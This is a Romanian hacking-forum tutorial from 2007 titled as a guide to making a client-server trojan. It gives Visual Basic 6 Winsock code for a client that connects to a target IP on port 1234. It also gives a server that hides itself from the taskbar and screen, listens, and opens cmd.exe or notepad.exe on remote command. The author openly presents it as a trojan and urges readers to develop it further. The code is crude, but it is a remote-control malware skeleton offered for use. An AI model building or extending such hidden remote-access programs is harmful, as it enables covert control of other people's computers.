xgaming.MyForum.ro :: Cum sa faci trojan Client-Server ( PC Control )

FAQ

Cautare

Membri

Grupuri

Inregistrare

Profil

Mesaje private

Autentificare

Cum sa faci trojan Client-Server ( PC Control )

Pagina de start a forumului xgaming.MyForum.ro -> Hacking

Subiectul anterior :: Subiectul urmator

Autor

Mesaj

xgaming
Administrator

Data inscrierii: 07/Oct/2007
Mesaje: 89

Trimis: 08/11/2007 22:40 Titlul subiectului: Cum sa faci trojan Client-Server ( PC Control )

1. Client

In client punem un Textbox pentru IP si un buton Command1 pentru conectare . Nu schimbati numele butonului si textboxului . Schimbati numai Captionu . Schimbati numele daca schimbati si codul . Mai punem 2 butoane : unu care va deschide cmd si unu care va deschide notepad .
Pentru a va putea conecta la ip vostru puteti scrie la IP 127.0.0.1
In Form punem urmatorul cod

Cod:

Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 1234
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Winsock1.SendData "2"
End Sub

Private Sub Command3_Click()
Winsock1.SendData "3"
End Sub

Private Sub Winsock1_Connect()
Form1.Caption = "Conectat la IP" & Text1.Text
End Sub

Apoi dam click dreapta sub ToolsBox si dam click pe Components , selectam Microsoft Winsock Control 6.0 si dam Apply .
In ToolBox jos ne va aparea o iconita cu 2 calculatoare . Dam click pe iconita si punem un in Form .

Cam asta e tot pentru client . File >> Make Project1.exe si salvam clientu .

2. Server

Facem la fel ca la client : dam click dreapta sub ToolBox >> Components si selectam Microsoft Winsock Control 6.0 si dam Apply . Si punem un winsock in Form .

Apoi punem in server urmatorul cod :

Cod:

Private Sub Form_Load()
App.TaskVisible = False
Me.Hide
If App.PrevInstance = True Then
Unload Me
End If
Winsock1.LocalPort = 1234
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data

If data = "2" Then
On Error Resume Next
Shell ("C:\WINDOWS\system32\cmd.exe")
End If

If data = "3" Then
On Error Resume Next
Shell ("C:\WINDOWS\system32\notepad.exe")
End If

End Sub

Si salvam ca server-ul .

Cam asta e tot . Pentru a testa intrati mai intai in sever ( calculatorul nu va pati nimic ) . Apoi intrati in client , la IP scrieti 127.0.0.1 sau IP vostru si dati click pe debutantul buton . Daca titlul clientului va fi "Conectat la IP 127.0.0.1 ... " inseamna ca merge . Si apasati apoi din client butoanele 2 si 3 . La apasarea butonului 2 se va deschide cmd iar la apasarea butonului 3 se va deschide notepad . Daca s-au deschis inseamna ca merge . Succes !!!

Daca aveti probleme contactati-ma : ID yonyx16 . Cam asta e ideea . Ea trebuie dezvoltata . Trebuie decat sa aveti imaginatie . Succes .

Tutorial created by xgaming.

Sus

Afiseaza mesajele pentru a le previzualiza:

	Pagina de start a forumului xgaming.MyForum.ro -> Hacking	Ora este GMT + 3 ore
Pagina 1 din 1

Nu puteti crea un subiect nou in acest forum
Nu puteti raspunde in subiectele acestui forum
Nu puteti modifica mesajele proprii din acest forum
Nu puteti sterge mesajele proprii din acest forum
Nu puteti vota in chestionarele din acest forum